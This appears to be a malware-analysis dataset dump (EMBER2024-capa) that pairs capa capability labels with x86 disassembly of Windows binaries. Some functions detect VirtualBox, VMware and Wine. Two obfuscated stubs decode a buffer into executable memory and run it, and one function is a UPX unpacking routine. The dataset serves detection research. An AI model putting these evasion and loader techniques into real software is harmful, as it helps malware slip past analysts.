joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40291b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov dword [ebp - 0x414], 0x400
lea eax, [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], str.HARDWAREDescriptionSystem
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4029ef
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x414]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x410]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.VideoBiosVersion
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call eax
sub esp, 0x18
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4029e8
lea eax, [ebp - 0x410]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__strupr]
call eax
mov dword [esp + 4], str.VIRTUALBOX
lea eax, [ebp - 0x410]
mov dword [esp], eax
call sym._strstr
test eax, eax
je 0x4029e1
mov eax, 0
jmp 0x4029f4
mov eax, 1
jmp 0x4029f4
mov eax, 1
jmp 0x4029f4
mov eax, 1
leave
ret

Function at 0x4029f6
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp], str.C:WINDOWS_system32driversVBoxMouse.sys
mov eax, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call eax
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x402a1d
mov eax, 0
jmp 0x402a22
mov eax, 1
leave
ret

Function at 0x402a24
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov dword [ebp - 0x414], 0x400
lea eax, [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_0Target_Id_0Logical_Unit_Id_0
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x402af8
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x414]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x410]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.Identifier
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call eax
sub esp, 0x18
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x402af1
lea eax, [ebp - 0x410]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__strupr]
call eax
mov dword [esp + 4], str.VMWARE
lea eax, [ebp - 0x410]
mov dword [esp], eax
call sym._strstr
test eax, eax
je 0x402aea
mov eax, 0
jmp 0x402afd
mov eax, 1
jmp 0x402afd
mov eax, 1
jmp 0x402afd
mov eax, 1
leave
ret

Function at 0x402b4c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp], str.C:WINDOWS_system32drivers_vmmouse.sys
mov eax, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call eax
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x402b73
mov eax, 0
jmp 0x402b78
mov eax, 1
leave
ret
Function at 0x402b7a
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp], str.C:WINDOWS_system32drivers_vmhgfs.sys
mov eax, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call eax
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x402ba1
mov eax, 0
jmp 0x402ba6
mov eax, 1
leave
ret

Function at 0x402ba8
Capabilities:
Check if process is running under wine

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x402bf7
mov dword [esp + 4], str.wine_get_unix_file_name
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
test eax, eax
setne al
test al, al
je 0x402bf0
mov eax, 0
jmp 0x402bfc
mov eax, 1
jmp 0x402bfc
mov eax, 1
leave
ret

Function at 0x4030b0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
lea ebx, [esp + 0x24]
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._vfprintf
call sym._abort
jmp dbg.mark_section_writable
Function at 0x403110
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x4073a0]
test esi, esi
jle 0x4031fd
mov edi, dword [0x4073a4]
xor ebx, ebx
lea edx, [edi + 4]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x403144
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x4031f6
add ebx, 1
add edx, 0xc
cmp ebx, esi
jne 0x403130
mov dword [esp], eax
mov ebx, eax
call dbg.__mingw_GetSectionForAddress
test eax, eax
mov edi, eax
je 0x40323a
lea ebx, [esi + esi*2]
mov esi, dword [0x4073a4]
shl ebx, 2
add esi, ebx
mov dword [esi + 8], eax
mov dword [esi], 0
call dbg._GetPEImageBase
add eax, dword [edi + 0xc]
mov dword [esi + 4], eax
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov eax, dword [0x4073a4]
mov eax, dword [eax + ebx + 4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x40321a
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x4031ef
sub eax, 0x40
and eax, 0xffffffbf
je 0x4031ef
mov eax, dword [esp + 0x20]
add ebx, dword [0x4073a4]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0xc], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
je 0x403204
add dword [0x4073a0], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
xor esi, esi
jmp 0x40314e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
mov eax, dword [0x4073a4]
mov eax, dword [eax + ebx + 4]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]

Function at 0x4036a0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x4073b8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x4073b0]
sub esp, 4
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
je 0x4036f5
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x4036ee
test esi, esi
je 0x4036ee
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4036d0
mov dword [esp], 0x4073b8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4019f0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
lea ebx, [esp + 0x24]
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._vfprintf
call sym._abort
jmp dbg.mark_section_writable

Function at 0x401a50
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x405050]
test esi, esi
jle 0x401b3d
mov edi, dword [0x405054]
xor ebx, ebx
lea edx, [edi + 4]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x401a84
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x401b36
add ebx, 1
add edx, 0xc
cmp ebx, esi
jne 0x401a70
mov dword [esp], eax
mov ebx, eax
call dbg.__mingw_GetSectionForAddress
test eax, eax
mov edi, eax
je 0x401b7a
lea ebx, [esi + esi*2]
mov esi, dword [0x405054]
shl ebx, 2
add esi, ebx
mov dword [esi + 8], eax
mov dword [esi], 0
call dbg._GetPEImageBase
add eax, dword [edi + 0xc]
mov dword [esi + 4], eax
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov eax, dword [0x405054]
mov eax, dword [eax + ebx + 4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401b5a
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x401b2f
sub eax, 0x40
and eax, 0xffffffbf
je 0x401b2f
mov eax, dword [esp + 0x20]
add ebx, dword [0x405054]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0xc], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
je 0x401b44
add dword [0x405050], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
xor esi, esi
jmp 0x401a8e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
mov eax, dword [0x405054]
mov eax, dword [eax + ebx + 4]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
Function at 0x402040
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x405408
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x405400]
sub esp, 4
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
je 0x402095
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40208e
test esi, esi
je 0x40208e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402070
mov dword [esp], 0x405408
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4022b0
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x4022e8
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp edx, ebx
ja 0x4022de
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x4022ea
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x4022d0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x404a0e
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x40b4c0
call fcn.00404b30
push 1
call fcn.004043a3
pop ecx
test al, al
je 0x4049f8
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.00404371
mov byte [ebp - 0x24], al
mov eax, dword [0x40d17c]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x4049f8
test eax, eax
jne 0x40491c
mov dword [0x40d17c], ecx
push 0x406238
push 0x40622c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x4048ff
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x4049e8
push 0x406228
push 0x406218
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
pop ecx
pop ecx
mov dword [0x40d17c], 2
jmp 0x404921
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.00404515
pop ecx
call fcn.0040503e
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x404952
push esi
call fcn.00404481
pop ecx
test al, al
je 0x404952
mov esi, dword [esi]
push edi
push 2
push edi
mov ecx, esi
call dword [0x406214]
call esi
call fcn.00405044
mov esi, eax
cmp dword [esi], edi
je 0x404970
push esi
call fcn.00404481
pop ecx
test al, al
je 0x404970
push dword [esi]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
pop ecx
call fcn.00404e70
movzx eax, ax
push eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_narrow_winmain_command_line
push eax
push edi
push 0x400000
call main
mov esi, eax
call fcn.00404ea9
test al, al
je 0x4049ff
test bl, bl
jne 0x40499e
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
push edi
push 1
call fcn.00404532
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x4049e8
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
push 7
call fcn.00404d56
push esi
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
push dword [ebp - 0x20]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__exit
int3
call fcn.00550000
jmp 0x404892
Function at 0x1000567b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x1001ae0c
call fcn.1001a6e0
mov eax, dword [ebp + 0xc]
xor esi, esi
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x428], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x430], esi
mov dword [ebp - 0x418], esi
push 0x60
push esi
push ebx
mov byte [ebp - 4], 1
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], edi
test edi, edi
jne 0x100056f8
push 2
push esi
push ebx
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], eax
test edi, edi
jne 0x100056f8
call fcn.10003dca
mov esi, eax
jmp 0x100057fe
push dword [ebp - 0x41c]
push dword [ebp - 0x420]
push edi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
jne 0x1000571b
call fcn.10003dca
jmp 0x100057f1
push ebx
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x41c], eax
test eax, eax
je 0x10005711
push ebx
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov ebx, eax
mov dword [ebp - 0x420], ebx
lea eax, [ebx + 1]
cmp eax, ebx
jae 0x1000574e
mov esi, 0x8007000e
jmp 0x100057f3
push 2
pop ecx
mul ecx
mov byte [ebp - 4], cl
cmp edx, esi
ja 0x1000582c
jb 0x10005769
cmp eax, 0xffffffff
ja 0x1000582c
cmp eax, 0x400
jbe 0x1000577e
push eax
lea ecx, [ebp - 0x418]
call fcn.1000f4c6
jmp 0x100057a0
lea eax, [ebp - 0x414]
mov dword [ebp - 0x418], eax
jmp 0x100057a0
mov dword [ebp - 4], 1
cmp dword [ebp - 0x418], 0
je 0x10005744
push ebx
push dword [ebp - 0x418]
push ebx
push dword [ebp - 0x41c]
push esi
push 3
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
je 0x10005711
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x430]
push dword [ebp - 0x418]
call fcn.1000f4c6
mov esi, eax
test edi, edi
je 0x100057fe
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x10005817
lea ecx, [ebp - 0x418]
call fcn.10003d92
lea ecx, [ebp - 0x428]
call fcn.10004436
mov eax, esi
call fcn.1001a631
ret 0x10
push 0x80070216
call fcn.1000f4c6
int3
Function at 0x10005e6b
Capabilities:
Create thread

Disassembly:
push 8
mov eax, 0x1001aed0
call fcn.1001a63e
mov ebx, edx
mov edi, ecx
mov dword [ebp - 0x10], edi
push 0x20
call fcn.1000f4c6
mov esi, eax
pop ecx
test esi, esi
je 0x10005eab
and dword [esi + 4], 0
lea ecx, [esi + 8]
mov edi, ecx
xor eax, eax
push ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
and dword [esi + 0x18], 0
mov edi, dword [ebp - 0x10]
jmp 0x10005ead
xor esi, esi
mov dword [ebp - 0x10], esi
and dword [ebp - 4], 0
test esi, esi
jne 0x10005ec2
mov ebx, 0x8007000e
jmp 0x10005fa1
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_AllowSetForegroundWindow]
mov dword [esi], edi
test edi, edi
je 0x10005f1b
test ebx, ebx
je 0x10005f9c
cmp dword [ebp + 8], 0
jne 0x10005f9c
push ebx
mov ebx, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call ebx
mov edi, eax
mov eax, dword [esi + 4]
cmp edi, eax
je 0x10005f15
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
test edi, edi
je 0x10005f0f
push edi
call ebx
mov dword [esi + 4], eax
test eax, eax
je 0x10005fe5
jmp 0x10005f37
and dword [esi + 4], 0
xor eax, eax
test eax, eax
jne 0x10005f37
jmp 0x10005eb8
test ebx, ebx
jne 0x10005f9c
cmp dword [ebp + 8], ebx
je 0x10005f9c
push dword [ebp + 8]
lea eax, [esi + 8]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantChangeType]
mov ebx, eax
test ebx, ebx
js 0x10005fa1
lea ecx, [esi + 0x18]
call fcn.1000f4c6
mov ebx, eax
test ebx, ebx
js 0x10005fa1
mov ecx, dword [esi + 0x18]
test ecx, ecx
je 0x10005fef
mov eax, dword [ecx]
push ecx
call dword [eax + 0xbc]
lea eax, [ebp - 0x14]
push eax
push 0
push esi
push 0x10006064
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
mov edi, eax
test edi, edi
jne 0x10005f8b
call dword [sym.imp.kernel32.dll_GetLastError]
movzx ebx, ax
or ebx, 0x80070000
test eax, eax
cmovle ebx, eax
jmp 0x10005f8f
xor esi, esi
xor ebx, ebx
test edi, edi
je 0x10005fa1
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
jmp 0x10005fa1
mov ebx, 0x80070057
or dword [ebp - 4], 0xffffffff
test esi, esi
je 0x10005fdb
mov dword [ebp - 4], 8
mov ecx, dword [esi + 0x18]
test ecx, ecx
je 0x10005fc1
and dword [esi + 0x18], 0
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
lea ecx, [esi + 8]
push ecx
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
push dword [esi + 4]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
push esi
call fcn.1000f4c6
pop ecx
mov eax, ebx
call fcn.1001a60f
ret 4
push 0x8007000e
call fcn.1000f4c6
push 0
push 0x152139a
call fcn.1000f4c6
int3
Function at 0x1000f4c6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x1000f4d5
pop dword [ebp - 0x2c]
mov eax, 0xb73b91db
add eax, 0x58c562fa
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x4cf95b98
add dword [ebp - 0x3c], 0x158e9b3
mov dword [ebp - 0x38], 0x4f1bc397
sub dword [ebp - 0x38], 0x1ce87752
mov dword [ebp - 0x34], 0x37c759ce
add dword [ebp - 0x34], 0x1484ea60
mov dword [ebp - 0x30], 0x35fb7299
sub dword [ebp - 0x30], 0x35fb7299
lea eax, [ebp - 0x3c]
push eax
mov eax, 0xf0b00066
sub eax, 0xe0ae3f7a
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x4d0304a8
add dword [ebp - 0x3c], 0x276f64ae
mov dword [ebp - 0x38], 0x89edaebe
sub dword [ebp - 0x38], 0x48814d49
mov dword [ebp - 0x34], 0x613a3cc3
add dword [ebp - 0x34], 0x2352fa9
mov dword [ebp - 0x30], 0xa74508ad
add dword [ebp - 0x30], 0x58baf753
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3de5a
push 0
call eax
mov ecx, 0x524232c8
add ecx, 0xadbe1d96
mov edi, eax
mov ebx, 0x10029a00
add ebx, dword [ebp - 0x2c]
mov edx, 0x45f9a04c
add edx, 0x79999a63
add dword [ebp - 0xc], 0x4cee456b
mov esi, dword [ebx]
xor dword [ebp - 0x1c], 0x7461d3f0
xor esi, edx
sub dword [ebp - 0x1c], 0x2751b8d1
mov dword [edi], esi
xor dword [ebp - 0x1c], esi
add edi, 4
add ebx, 4
loop 0x1000f5ec
add eax, 0xe83cc6e9
add eax, 0x17c46d62
mov ebx, eax
add eax, 0xef984cba
add eax, 0x1067b34b
mov ecx, 0x162b67b4
sub ecx, 0x62b67b4
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x1002aadf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x1002aaee
pop dword [ebp - 0x3c]
mov eax, 0x719e1d9
add eax, 0x8e8c915
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x25092491
add dword [ebp - 0x4c], 0x294920ba
mov dword [ebp - 0x48], 0x86d2b171
add dword [ebp - 0x48], 0xab609ad4
mov dword [ebp - 0x44], 0x4305874f
add dword [ebp - 0x44], 0x946bcdf
mov dword [ebp - 0x40], 0xff97997
sub dword [ebp - 0x40], 0xff97997
lea eax, [ebp - 0x4c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0xc0e9b04e
sub dword [ebp - 0x4c], 0x4c7746f8
mov dword [ebp - 0x48], 0x615981d7
add dword [ebp - 0x48], 0xe012df9e
mov dword [ebp - 0x44], 0xf212f605
sub dword [ebp - 0x44], 0x8ea38999
mov dword [ebp - 0x40], 0x956b3e9b
add dword [ebp - 0x40], 0x6a94c165
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0xd03cd574
add eax, 0x3fc5eab4
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x37f94
push 0
call eax
mov ecx, 0x4e06
mov edx, eax
mov esi, 0x79d54d0e
add esi, 0x962e48f2
add esi, dword [ebp - 0x3c]
mov ebx, 0x56c2c17f
sub ebx, 0xfce29682
xor dword [ebp - 0x24], 0x2d0aae3a
mov edi, dword [esi]
xor dword [ebp - 0xc], 0xa64dea93
sub edi, ebx
add dword [ebp - 0x10], 0x213a02a6
mov dword [edx], edi
add dword [ebp - 4], ecx
add edx, 0xc99c7979
add edx, 0x3663868b
add esi, 0x786612c1
add esi, 0x8799ed43
loop 0x1002ac05
add eax, 0x6e3adab6
add eax, 0x91c65035
mov ebx, eax
add eax, 0xcaebe61e
sub eax, 0xcaebe619
mov ecx, 0x55d5ffcb
add ecx, 0xba2a0035
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x8dcfd0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x104000]
push edi
jmp 0x8dcfea
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x8dcff1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8dcfe0
mov eax, 1
add ebx, ebx
jne 0x8dd003
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x8dd014
jne 0x8dd033
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8dd033
dec eax
add ebx, ebx
jne 0x8dd020
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x8dcff8
add ebx, ebx
jne 0x8dd02f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x8dd085
xor ecx, ecx
sub eax, 3
jb 0x8dd04b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x8dd0ba
sar eax, 1
mov ebp, eax
jmp 0x8dd056
add ebx, ebx
jne 0x8dd056
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8dd024
inc ecx
add ebx, ebx
jne 0x8dd064
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8dd024
add ebx, ebx
jne 0x8dd071
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x8dd066
jne 0x8dd082
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x8dd066
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x8dd0a4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x8dd096
jmp 0x8dcfe6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x8dd0a4
add edi, ecx
jmp 0x8dcfe6
pop esi
mov edi, esi
mov ecx, 0x5082
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x8dd0c2
cmp byte [edi], 0x24
jne 0x8dd0c2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x8dd0c7
lea edi, [esi + 0x4d9000]
mov eax, dword [edi]
or eax, eax
je 0x8dd13f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x4def68]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x4df08c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x8dd0f4
mov ecx, edi
jns 0x8dd123
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x4df094]
or eax, eax
je 0x8dd139
mov dword [ebx], eax
add ebx, 4
jmp 0x8dd111
call dword [esi + 0x4df090]
mov ebp, dword [esi + 0x4df098]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x8dd173
sub esp, 0xffffff80
jmp 0x4b6bd0